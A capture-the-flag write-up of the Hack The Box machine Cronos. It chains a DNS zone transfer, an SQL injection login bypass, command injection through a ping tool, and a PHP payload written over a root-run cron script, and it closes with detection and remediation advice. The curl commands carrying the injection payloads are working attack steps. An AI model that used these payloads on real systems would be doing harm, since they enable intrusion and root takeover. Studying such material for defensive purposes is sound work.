Skip to content
Back to all posts

HTB: Cronos

· 16 min medium Linux Cronos

DNS zone transfer discloses a hidden admin subdomain, SQL injection bypasses authentication, command injection provides a shell, and a writable cron script escalates to root.

Overview

Cronos is a Medium-rated Linux machine running three services: OpenSSH 7.2p2, ISC BIND 9.10.3-P4, and Apache 2.4.18. The web server hosts two virtual hosts: the default cronos.htb (a static Laravel landing page) and admin.cronos.htb (a custom admin panel called “Net Tool v0.1”). The admin subdomain is not linked from the main site and is only discoverable through DNS zone transfer.

No CVEs are exploited. Every vulnerability in the chain is a misconfiguration or insecure coding practice: unrestricted zone transfers, unsanitised SQL, unsanitised shell input, and incorrect file ownership on a cron-executed script. The entire chain from unauthenticated attacker to root took six minutes.

Reconnaissance

I start with a service scan:

nmap -sC -sV -A -T4 10.129.227.211
PortServiceProduct / VersionNotes
22SSHOpenSSH 7.2p2 Ubuntu 4ubuntu2.1Ubuntu 16.04
53DNSISC BIND 9.10.3-P4 (Ubuntu)Version disclosed via dns-nsid
80HTTPApache httpd 2.4.18 (Ubuntu)Virtual host routing

Port 53 running ISC BIND on a web application box is uncommon and immediately flags DNS enumeration as a priority. The nmap dns-nsid script discloses the exact BIND version.

DNS zone transfer

With port 53 open, the first action is testing for unrestricted zone transfers:

dig axfr cronos.htb @10.129.227.211
cronos.htb.             604800  IN  SOA     cronos.htb. admin.cronos.htb. 3
cronos.htb.             604800  IN  NS      ns1.cronos.htb.
cronos.htb.             604800  IN  A       10.10.10.13
admin.cronos.htb.       604800  IN  A       10.10.10.13
ns1.cronos.htb.         604800  IN  A       10.10.10.13
www.cronos.htb.         604800  IN  A       10.10.10.13

The zone transfer succeeds without authentication, disclosing four hostnames. admin.cronos.htb is the critical finding: it hosts a separate virtual host with a login form for “Net Tool v0.1”.

Attack Surface Analysis

After adding the hostnames to /etc/hosts, I examine both virtual hosts:

cronos.htb: A static Laravel landing page with no interactive functionality. Directory brute-forcing returns only default assets.

admin.cronos.htb: A minimal login form with username and password fields. Behind the login, a “Net Tool v0.1” panel provides ping and traceroute functionality with a host input field.

Two application-level vulnerabilities are immediately apparent: the login form accepts SQL injection, and the network tool passes user input to system commands.

Vulnerability Analysis

SQL injection in login form

The login form concatenates user input directly into an SQL query:

SELECT * FROM users WHERE username='$user' AND password='$pass'

No parameterised queries, no prepared statements, no input sanitisation. Injecting a tautology (' OR '1'='1) into both fields causes the WHERE clause to evaluate to true for all rows.

Command injection in Net Tool

The welcome.php script passes the host parameter directly to a system command:

$output = system($command . ' ' . $host);

Shell metacharacters (semicolons, pipes, backticks) in the host parameter are interpreted by the shell. No sanitisation, no whitelist, no escaping.

Writable cron script

The system crontab runs /var/www/laravel/artisan as root every minute:

* * * * *  root  php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The artisan file is owned by www-data:

-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 /var/www/laravel/artisan

Any process running as www-data can overwrite it. Cron then executes the modified file as root within 60 seconds.

VulnerabilityCWECVSS v3.1Impact
DNS zone transferCWE-2005.3Hidden subdomain disclosure
SQL injectionCWE-899.8Authentication bypass
Command injectionCWE-789.8RCE as www-data
Writable cron scriptCWE-7327.8Root privilege escalation

Exploitation

Step 1: SQL injection authentication bypass

curl -s -D - -X POST http://admin.cronos.htb/ \
    -d "username=admin'+OR+'1'%3d'1&password=admin'+OR+'1'%3d'1"

# HTTP/1.1 302 Found
# Location: /welcome.php

The server redirects to the admin panel. Authentication bypassed.

Step 2: Command injection for user flag

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;id"

# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;cat+/home/noulis/user.txt"

# [flag redacted]

Step 3: Cron job privilege escalation

I overwrite the artisan file with a PHP payload that copies the root flag:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;echo+'<?php+system(\"cat+/root/root.txt+>+/tmp/root.txt\");+?>'+>+/var/www/laravel/artisan"

After waiting up to 60 seconds for cron to execute:

curl -s -b "PHPSESSID=abc123..." \
    -X POST http://admin.cronos.htb/welcome.php \
    -d "command=ping+-c+1&host=8.8.8.8;cat+/tmp/root.txt"

# [flag redacted]

A stealthier approach would append a reverse shell to the existing artisan content rather than overwriting it entirely.

Post-Exploitation

System enumeration reveals Ubuntu 16.04.2 LTS with kernel 4.4.0-72-generic. The Laravel application uses a MySQL database. The admin panel credentials are stored in the database and could be extracted for credential reuse testing.

The attack is destructive: overwriting the artisan CLI script breaks Laravel’s scheduled task functionality. In a real engagement, restoring the original file after obtaining access would be appropriate operational discipline.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
ReconnaissanceT1590.002DNS zone transfer from non-secondary nameserver
Initial accessT1190SQL injection: single quotes and OR operators in POST body
ExecutionT1059.004Command injection: semicolons in HTTP POST parameters
Priv escalationT1053.003Cron-executed file modified by non-root user

DNS: Configure allow-transfer { none; }; in BIND to block zone transfers from unauthorised hosts. Log all AXFR requests.

Web application: A WAF with SQL injection detection rules would flag the tautology payload. Parameterised queries in the PHP code would eliminate the vulnerability entirely.

File integrity monitoring: AIDE, OSSEC, or similar tools monitoring /var/www/laravel/artisan would detect the modification. The file should be owned by root, not www-data.

Process monitoring: The www-data user spawning sh or bash through Apache is a high-fidelity alert. No legitimate web application behaviour requires the web server user to invoke a shell.

Remediation

PriorityActionEffortImpact
P0Use parameterised queries for all database accessLowCritical
P0Sanitise or whitelist the host parameter (reject anything that is not an IP or hostname)LowCritical
P0Change artisan file ownership to root:rootLowCritical
P1Restrict DNS zone transfers (allow-transfer { none; })LowHigh
P1Suppress BIND version information (version "none")LowLow
P2Implement CSRF tokens on the admin panel formsLowMedium
P2Deploy a WAF with SQL injection and command injection detectionMediumMedium
P3Add file integrity monitoring for cron-executed scriptsMediumMedium

Every vulnerability in this chain is a basic coding or configuration error. No zero-days, no complex exploit chains, no deep kernel knowledge required. The box demonstrates that most real-world compromises result from fundamental security hygiene failures, not sophisticated attacks.

Key Takeaways

  1. DNS zone transfers are a free intelligence source. The entire attack chain depends on discovering admin.cronos.htb, which is only reachable through zone transfer. A single BIND configuration line (allow-transfer { none; };) would have hidden this subdomain from unauthenticated attackers.

  2. SQL injection remains the most impactful web vulnerability. Two decades after the first SQL injection paper, applications still concatenate user input into SQL queries. Parameterised queries are a solved problem; there is no excuse for their absence in any modern application.

  3. File ownership on cron-executed scripts is a critical control. The artisan file was owned by www-data because the deployment process set the web server user as owner of the entire application directory. Cron scripts should always be owned by root with restricted write permissions. The principle: the user that writes a file should never be the user that executes it with elevated privileges.